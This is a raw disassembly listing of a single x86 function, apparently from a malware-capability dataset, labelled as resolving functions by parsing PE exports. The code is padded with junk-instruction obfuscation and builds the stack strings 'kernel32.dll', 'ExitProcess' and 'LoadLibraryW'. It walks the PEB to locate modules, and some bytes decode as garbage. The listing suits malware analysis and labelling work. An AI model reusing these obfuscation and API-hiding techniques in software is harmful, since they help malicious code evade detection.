Function at 0x406ec5
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 4
jmp 0x401829
or edi, 0x380b
sub edi, 0x87e8
xor edi, 0xd0ca
pop edi
push ebx
or ebx, 0xe0ea
pop ebx
push edx
push ebx
add esp, 4
sub edx, 0x147fb
pop edx
mov eax, dword [ebp - 0x30]
add eax, 0x138
imul ecx, dword [ebp - 0x2c], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x2c], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1d2c], eax
push ecx
sub ecx, 0xd8e0
sub ecx, 0x35d2
pop ecx
push edx
and edx, 0x1a10
and edx, 0x10cea
and edx, 0x13115
pop edx
push esi
or esi, 0x182f5
pop esi
push edx
xor edx, 0xe727
pop edx
mov eax, dword [ebp - 0x152c]
add eax, 0x138
imul ecx, dword [ebp - 0x1528], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x1528], 0x138
add byte [ebx], ch
retf 0xc133
imul eax, dword [ebp - 0x1528]
mov dword [ebp - 0x1d28], eax
invalid
dec dword [ebx - 0x1d277b]
dec dword [ecx - 0x1d2f7b]
dec dword [ebx - 0x1d2b73]
invalid
cmp ecx, dword [ebp - 0x1d30]
jae 0x401908
mov dword [ebp - 0x149c], 1
jmp 0x401912
mov dword [ebp - 0x149c], 0
mov dl, byte [ebp - 0x149c]
mov byte [ebp - 0x382], dl
movzx eax, byte [ebp - 0x382]
test eax, eax
je 0x404985
push esi
jmp 0x401934
pop esi
push ebx
push ebx
add esp, 4
xor ebx, 0x1f13
or ebx, 0x589f
and ebx, 0x7d7
pop ebx
push edx
push edx
add esp, 4
add edx, 0x1554a
xor edx, 0x7120
pop edx
push edx
call 0x40196f
add byte [ecx + 0x37], cl
dec ecx
dec edx
inc esi
dec eax
xor al, 0x42
inc edi
add esp, 4
jmp 0x401978
and edx, 0x15ba
and edx, 0xa327
pop edx
push esi
push eax
add esp, 4
add esi, 0x553a
pop esi
mov ecx, dword [ebp - 0x30]
add ecx, 0x138
imul edx, dword [ebp - 0x2c], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x2c], 0x138
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1d34], ecx
mov ecx, dword [ebp - 0x1d34]
mov dword [ebp - 0x1d38], ecx
cmp dword [ebp - 0x1d38], 0x63c1
jne 0x401b0c
push esi
xor esi, 0x3885
and esi, 0x7fcd
pop esi
push esi
push edi
add esp, 4
xor esi, 0x283c
and esi, 0x158bf
pop esi
push edi
push eax
add esp, 4
add edi, 0x946e
xchg esp, eax
add byte [eax], al
and edi, 0x1f95
pop edi
mov edx, dword [ebp - 0x14]
add edx, 0x138
imul eax, dword [ebp - 0x10], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x10], 0x138
dec ebp
invalid
cmp byte [ecx], al
add byte [eax], al
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x1d3c], edx
mov edx, dword [ebp - 0x1d3c]
mov dword [ebp - 0x1d40], edx
mov eax, dword [ebp - 0x1d40]
sub eax, 0x898
mov dword [ebp - 0x1d44], eax
mov dword [ebp - 0xfb4], 1
push edx
push ecx
add esp, 4
add edx, 0xb30f
xor edx, 0xe9f6
xor edx, 0x1168
sub edx, 0xe363
pop edx
push eax
call 0x401a89
add byte [esi + 0x3d], cl
dec esi
cmp eax, 0x41374340
xor cl, byte [ebp + 0x32]
add esp, 4
pop eax
imul ecx, dword [ebp - 0xfb4], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0xfb4], 0x138
sub ecx, edx
xor ecx, dword [ebp - 0x1d44]
imul ecx, dword [ebp - 0xfb4]
imul eax, dword [ebp - 0xfb4], 0x138
sub ecx, eax
mov dword [ebp - 0xfb8], ecx
mov ecx, dword [ebp - 0xfb8]
mov edx, dword [ebp - 0xfb4]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], edx
push ebx
push ebx
add esp, 4
add ebx, 0xe450
and ebx, 0xa0f1
call 0x401af7
add byte [esi], bh
xor al, 0x4b
cmp bh, byte [edi + ecx*2]
add esp, 4
pop ebx
push eax
and eax, 0x7218
jmp 0x401b0b
pop eax
push eax
and eax, 0xb57d
pop eax
push esi
jmp 0x401b1c
pop esi
push eax
push esi
add esp, 4
jmp 0x401b2b
sub eax, 0xc585
add eax, 0xcc7d
add eax, 0x16cd1
pop eax
mov eax, dword [ebp - 0x14]
in al, dx
add eax, 0x138
imul ecx, dword [ebp - 0x10], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x10], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x10]
mov dword [ebp - 0x1d48], eax
mov eax, dword [ebp - 0x1d48]
mov dword [ebp - 0x1db8], eax
lea ecx, [ebp - 0x928]
mov dword [ebp - 0x3bc], ecx
mov edx, dword [ebp - 0x3bc]
mov dword [edx + 4], 1
push esi
push ebx
add esp, 4
sub esi, 0xf56f
pop esi
push esi
sub esi, 0xab5d
mov dword [ebp - 0x3c0], 0
call 0x404994
mov eax, 0x13379797
pop eax
mov dword [ebp - 0x3c0], eax
push ebx
push ecx
add esp, 4
or ebx, 0xc45
or ebx, 0x5f2b
pop ebx
push esi
xor esi, 0x122f
or esi, 0xdd3
pop esi
push ebx
push esi
add esp, 4
or ebx, 0x6619
and ebx, 0x9ace
pop ebx
mov ecx, dword [ebp - 0x1fa0]
mov dword [ebp - 0x14b8], ecx
push edi
call 0x4049ee
add byte [edx + 0x36], al
aas
xor esi, dword [edx]
inc ecx
cmp dword [edi + 0x4c], ecx
add esp, 4
call 0x404a00
add byte [ebx], bh
dec esi
xor al, 0x46
push eax
cmp eax, 0x8347363b
les eax, [ecx + eax*4]
out 0x3e, eax
adc al, byte [eax]
add byte [ecx + 0xef0ec7], al
add byte [edi - 0x75], bl
push ebp
in al, dx
add edx, 0x138
imul eax, dword [ebp - 0x10], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x10], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x14b8], edx
mov edx, dword [ebp - 0x3c0]
mov dword [ebp - 0x1ef8], edx
mov eax, dword [ebp - 0x1ef8]
add eax, dword [ebp - 0x14b8]
mov dword [ebp - 0x3c0], eax
push edi
call 0x404a69
add byte [0x32424550], dh
dec esi
xor ecx, dword [ecx + 0x50]
cmp al, byte [ebx + 0x9e804c4]
add byte [eax], al
add byte [eax], al
aas
dec ecx
dec eax
xor esi, dword [esi]
cmp eax, 0x8104c483
out 0xfc, eax
aas
add dword [eax], eax
or edi, 0x13ba8
pop edi
mov byte [ebp - 0xb78], 0x52
mov byte [ebp - 0xb77], 0xb9
mov byte [ebp - 0xb76], 0x10
mov byte [ebp - 0xb75], 0x10
test dword [ebx + 0x10fffff4], ecx
mov byte [ebp - 0xb74], 0x10
mov byte [ebp - 0xb73], 0x10
mov byte [ebp - 0xb72], 0x5a
push eax
jmp 0x404ac2
add eax, 0xfdfd
pop eax
push edx
jmp 0x404ad2
pop edx
push edx
or edx, 0x31d
or edx, 0x137b2
or edx, 0xa091
add edx, 0xb8b2
pop edx
mov byte [ebp - 0xb80], 0x52
mov byte [ebp - 0xb7f], 0xb9
mov byte [ebp - 0xb7e], 0x20
mov byte [ebp - 0xb7d], 0x20
mov byte [ebp - 0xb7c], 0x20
mov byte [ebp - 0xb7b], 0x20
mov byte [ebp - 0xb7a], 0x5a
push edi
jmp 0x404b25
add edi, 0x143e
or edi, 0x12122
pop edi
push eax
push edi
add esp, 4
add eax, 0xf5a1
jmp 0x404b43
and eax, 0x48db
sub eax, 0x6154
pop eax
mov dword [ebp - 0x1fa4], 0xe
push ebx
add ebx, 0x961d
xor ebx, 0x17227
pop ebx
push edi
push eax
add esp, 4
sub edi, 0x1327c
add edi, 0xbd67
add edi, 0x17733
pop edi
push ebx
push eax
add esp, 4
xor ebx, 0xf0ea
pop ebx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb78]
mov dword [ebp - 0x14bc], eax
push edi
push ecx
add esp, 4
call 0x404bb6
add byte [eax], bh
xor bh, byte [edx]
aaa
inc ebx
dec esi
xor eax, 0x4c48336
pop edi
push ecx
push eax
add esp, 4
sub ecx, 0x14af1
add ecx, 0x4f6f
jmp 0x404bd2
pop ecx
mov dword [ebp - 0x1fa8], 0xffffffff
push edx
call 0x404bed
add byte [ebp + 0x3c], cl
inc edx
cmp byte [ecx + 0x39], cl
xor eax, 0xc483503b
add al, 0x5a
push esi
push edx
add esp, 4
add esi, 0x158f2
xor esi, 0x6fa
sub esi, 0x13282
xor esi, 0x79bc
pop esi
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4cc], ecx
jmp 0x404c2c
push edx
push edx
add esp, 4
and edx, 0x160bd
pop edx
push edx
add edx, 0xeed5
sub edx, 0x11061
sub edx, 0x174d1
xor edx, 0x7c2
pop edx
push edi
push ebx
add esp, 4
and edi, 0x9824
pop edi
mov eax, dword [ebp - 0x4cc]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x404ca6
push edi
push esi
add esp, 4
sub edi, 0xd480
xor edi, 0xee85
or edi, 0x5911
xor edi, 0x526
pop edi
push ebx
and ebx, 0x87a0
xor ebx, 0x12b5a
and ebx, 0xf936
pop ebx
jmp 0x404ed4
mov dword [ebp - 0xc08], 7
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0xa68], ecx
push edx
xor edx, 0x148e5
call 0x404cd0
add byte [ecx + 0x34], al
dec esp
cmp eax, 0xc4833c42
add al, 0x81
ljmp 0x565a
push edx
push ecx
add esp, 4
or edx, 0x1a81
add edx, 0xedc3
sub edx, 0xf7c2
pop edx
push esi
and esi, 0xa7a8
and esi, 0xae23
add esi, 0xe485
or esi, 0xea74
pop esi
mov dword [ebp - 0x3cc], 0
push edx
push ecx
add esp, 4
call 0x404f21
add byte [ebx + 0x3f], al
xor al, 0x37
dec ebx
dec esi
add esp, 4
xor edx, 0x4e2a
sub edx, 0xe14a
add edx, 0xb856
pop edx
push edx
jmp 0x404f41
pop edx
push edi
push ecx
add esp, 4
sub edi, 0x7d06
pop edi
push ecx
push esi
add esp, 4
or ecx, 0x8d65
add ecx, 0x293e
or ecx, 0xe309
and ecx, 0x77a6
pop ecx
push ecx
add ecx, 0x1800a
pop ecx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push edi
and edi, 0x17470
or edi, 0xafd9
call 0x404fa5
add byte [edi], dh
inc esi
inc edi
dec edx
inc ebp
cmp bh, byte [eax + ecx*2]
dec ecx
add esp, 4
call 0x404fb7
add byte [edx + 0x3a], al
inc esi
xor edi, dword ss:[eax*2 + 0x4c48344]
pop edi
mov dword [ebp - 0x1fac], 0xffffffff
push edi
add edi, 0x125b8
jmp 0x404fd2
sub edi, 0xc362
pop edi
push ecx
jmp 0x404fe3
or ecx, 0x100b3
jmp 0x404ff0
xor ecx, 0xfab1
pop ecx
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x405014
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push edx
call 0x405025
add byte [esi + 0x3b], cl
inc edx
dec esi
xor eax, dword [edi + 0x47]
cmp al, 0x41
inc esp
add esp, 4
pop edx
push edi
jmp 0x405031
pop edi
push edx
add edx, 0xbfb7
xor edx, 0xd3a2
xor edx, 0x14864
pop edx
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x40508e
push ebx
xor ebx, 0xf9b2
add ebx, 0xd6ab
or ebx, 0xbf70
pop ebx
push edi
push ecx
add esp, 4
sub edi, 0x145c1
xor edi, 0x9f99
pop edi
push edi
push edx
add esp, 4
xor edi, 0x12400
pop edi
jmp 0x4052bc
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push ebx
or ebx, 0x12e17
add ebx, 0xdae7
and ebx, 0xc069
pop ebx
push edx
add edx, 0x35bd
add edx, 0xf9e6
pop edx
push edi
xor edi, 0x160e3
pop edi
push ecx
xor ecx, 0x35c3
pop ecx
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x40513d
push ecx
xor ecx, 0x7de9
or ecx, 0x11645
sub ecx, 0x11425
pop ecx
push ecx
call 0x40511d
add byte [edi], bh
xor al, 0x40
inc esi
xor esi, dword [esi]
dec esi
aas
add esp, 4
jmp 0x405125
add ecx, 0x10b9
pop ecx
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x40526e
cmp dword [ebp - 0xc10], 0
jle 0x405262
push edx
push esi
add esp, 4
jmp 0x405155
or edx, 0xce36
jmp 0x405162
pop edx
push ecx
push edi
add esp, 4
jmp 0x40516d
pop ecx
push edi
xor edi, 0x18436
sub edi, 0x1002b
pop edi
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x4051fe
push ebx
push edi
add esp, 4
jmp 0x40519c
jmp 0x4051a4
pop ebx
push ebx
push edi
add esp, 4
jmp 0x4051b1
xor ebx, 0x1823d
add ebx, 0x14a97
and ebx, 0x3864
pop ebx
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x4051e6
mov dword [ebp - 0x14cc], 1
jmp 0x4051f0
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x405262
push ebx
sub ebx, 0x43ae
pop ebx
push edi
or edi, 0x1a5e
pop edi
push edi
add edi, 0x14b7e
and edi, 0x1a1a
and edi, 0x2fe9
sub edi, 0x671
pop edi
push eax
or eax, 0x64
pop eax
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x40513d
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x4052b7
push edx
push esi
add esp, 4
sub edx, 0xaa91
or edx, 0x15d65
jmp 0x40528e
pop edx
push edx
push ebx
add esp, 4
or edx, 0x10d82
or edx, 0x7b68
pop edx
push edi
xor edi, 0xd141
pop edi
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x4052f8
jmp 0x405005
push ecx
jmp 0x4052c3
jmp 0x4052c8
call 0x4052d8
add byte [esi], dh
inc edi
dec esp
xor bh, byte [0x46455050]
xor eax, 0x8104c483
rcl dword [edi - 0xd], 0
add byte [ecx + 0x57], bl
push edi
add esp, 4
xor edi, 0x11ccc
pop edi
mov dword [ebp - 0xa5c], 0
push ebx
push ebx
add esp, 4
add ebx, 0x32c6
sub ebx, 0x8039
add ebx, 0x87f3
pop ebx
push edx
sub edx, 0x1f78
and edx, 0xee1c
or edx, 0x70e2
xor edx, 0x46a8
pop edx
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push ebx
push edx
add esp, 4
xor ebx, 0x153c8
add ebx, 0xd562
jmp 0x405395
sub ebx, 0x1491a
pop ebx
push edi
and edi, 0x118a3
xor edi, 0x2636
and edi, 0x23c1
pop edi
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push ebx
xor ebx, 0xd06a
add ebx, 0x3143
or ebx, 0xa05a
pop ebx
push edx
push esi
add esp, 4
add edx, 0x1548b
add edx, 0x1376d
xor edx, 0xf31
sub edx, 0x6f5a
pop edx
push edx
push edx
add esp, 4
or edx, 0xa2f7
or edx, 0x4914
sub edx, 0xe841
pop edx
push edx
push edi
add esp, 4
xor edx, 0x3b2f
pop edx
push eax
push eax
add esp, 4
jmp 0x4054ac
pop eax
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push edx
push esi
add esp, 4
or edx, 0x12321
pop edx
push edi
push esi
add esp, 4
and edi, 0x7a16
pop edi
push edi
or edi, 0xb51d
or edi, 0xc8ef
add edi, 0x9aad
xor edi, 0x69ee
pop edi
cmp dword [ebp - 0x14d4], 0
jne 0x40551f
mov dword [ebp - 0x2e0], 0
jmp 0x4057db
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push ebx
push eax
add esp, 4
add ebx, 0xcd2c
jmp 0x405545
and ebx, 0x11f68
add ebx, 0xdb01
pop ebx
push ecx
jmp 0x40555c
xor ecx, 0x10fc0
pop ecx
cmp dword [ebp - 0xc20], 0
jne 0x40557b
mov dword [ebp - 0x2e0], 0
jmp 0x4057db
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push esi
push ecx
add esp, 4
or esi, 0xe3cf
or esi, 0xaf76
pop esi
push ecx
push edx
add esp, 4
or ecx, 0x8f1b
or ecx, 0x22f6
pop ecx
push esi
add esi, 0xb1bd
add esi, 0x3f49
pop esi
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push eax
or eax, 0x11827
or eax, 0xe4fd
jmp 0x4055fa
or eax, 0x3ae7
pop eax
push eax
add eax, 0x8f71
call 0x405614
add byte [ebp + 0x4c], cl
dec ebp
cmp edi, dword [eax]
add esp, 4
pop eax
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push ebx
xor ebx, 0xa064
pop ebx
push edx
push esi
add esp, 4
call 0x40568e
add byte [ebp + 0x4f], al
cmp dword [ebx], edi
inc ecx
inc ebx
inc ebp
cmp dword [ebx - 0x357efb3c], eax
outsd dx, dword [esi]
xor al, byte [eax]
add byte [ecx + 0x51f6e2], al
add byte [ecx + 0x32ee2], al
add byte [edx + 0xf], bl
mov bh, 0x95
add bh, bh
invalid
push esi
push eax
add esp, 4
and esi, 0x9359
call 0x4057f6
add byte [edx], bh
dec esi
dec esi
dec eax
cmp al, 0x45
inc ebp
cmp al, 0x37
inc edi
add esp, 4
call 0x405809
add byte [edi + esi + 0x50], al
inc edx
push eax
xor edi, dword [ecx]
cmp al, 0x32
dec ebp
add esp, 4
pop esi
cmp dword [ebp - 0x2e0], 0
jne 0x406126
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push esi
call 0x4058c4
add byte [ecx + 0x33], cl
inc ebx
inc edx
aas
cmp byte [esi + 0x44], cl
dec esp
add esp, 4
and esi, 0x15d37
add esi, 0x12d80
pop esi
push esi
call 0x4058e1
add byte [esi], dh
cmp bh, byte [eax]
cmp al, 0x4e
xor al, 0x83
les eax, [esi + ebx*2]
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push esi
push esi
add esp, 4
or esi, 0xe25c
call 0x40597f
add byte [edx + edi], dh
cmp dword [eax + 0x41], edx
inc ecx
add esp, 4
call 0x40598f
add byte [ebx + 0x36], al
cmp al, 0x44
aaa
inc ebp
add esp, 4
or esi, 0x1162
pop esi
cmp dword [ebp - 0x14dc], 0
jne 0x4059b1
mov dword [ebp - 0x6ec], 0
jmp 0x405c6d
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push ecx
xor ecx, 0xf053
xor ecx, 0x9511
and ecx, 0x115f6
pop ecx
push eax
push eax
add esp, 4
xor eax, 0x11ad6
or eax, 0x23d0
or eax, 0x4b9
jmp 0x4059f4
pop eax
cmp dword [ebp - 0xc2c], 0
jne 0x405a0d
mov dword [ebp - 0x6ec], 0
jmp 0x405c6d
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push esi
push edi
add esp, 4
or esi, 0xd6d0
and esi, 0x4a4e
add esi, 0x15e35
pop esi
push eax
xor eax, 0x17c8a
jmp 0x405a3d
jmp 0x405a44
add eax, 0xb048
pop eax
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push edx
add edx, 0x1bba
pop edx
push eax
push edi
add esp, 4
add eax, 0xad87
or eax, 0xe6c8
pop eax
push ecx
push edx
add esp, 4
add ecx, 0x12abb
and ecx, 0x1662e
and ecx, 0x114fb
pop ecx
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push esi
push edx
add esp, 4
and esi, 0x14b1f
pop esi
push edi
jmp 0x405b16
and edi, 0x24ee
sub edi, 0xf633
jmp 0x405b29
pop edi
push ebx
push ebx
add esp, 4
xor ebx, 0x18591
pop ebx
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x405b59
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x405bbc
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x405a78
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x405a78
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x405ba6
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x405bb0
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x405c05
push eax
and eax, 0xf65c
or eax, 0xfa2c
or eax, 0x12e45
pop eax
push edi
push eax
add esp, 4
call 0x405beb
add byte [esi + 0x36], al
cmp dword ds:[eax + 0x38], ecx
xor eax, dword [ebx + 0x525f04c4]
push edi
push edx
add esp, 4
sub edi, 0x68c8
and edi, 0x14bda
and edi, 0x1274e
pop edi
push eax
push edx
add esp, 4
and eax, 0x13b41
pop eax
push ecx
xor ecx, 0xbcef
sub ecx, 0x155bb
pop ecx
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x405c63
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x405a19
mov dword [ebp - 0x6ec], 0
push ebx
call 0x405c7c
add byte [ebx + 0x4b], cl
cmp eax, 0x4848414d
add esp, 4
or ebx, 0x6a31
pop ebx
push edi
push edi
add esp, 4
xor edi, 0x107e4
or edi, 0x14633
jmp 0x405c9e
pop edi
cmp dword [ebp - 0x6ec], 0
jne 0x405ce9
push esi
add esi, 0x1018a
pop esi
push ecx
and ecx, 0x15733
sub ecx, 0xf153
pop ecx
push eax
push ebx
add esp, 4
add eax, 0xb518
call 0x405cd6
add byte [ebx + eax*2 + 0x42], cl
inc ebx
inc edx
dec ecx
inc ecx
inc edx
dec esp
add esp, 4
pop eax
mov dword [ebp - 0x738], 0
jmp 0x406810
push edi
push eax
add esp, 4
call 0x405cfa
add byte [edx + 0x44], al
dec ecx
cmp dword [eax + edx*2 - 0x7d], eax
les eax, [edi + ebx*2]
push ecx
push edx
add esp, 4
sub ecx, 0x9cfe
pop ecx
push ecx
push eax
add esp, 4
jmp 0x405d14
or ecx, 0x246a
pop ecx
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x405d5a
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x40604b
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x405d82
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x40604b
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x405db4
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x40604b
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x405dd9
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x40604b
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x405e33
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x40603f
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
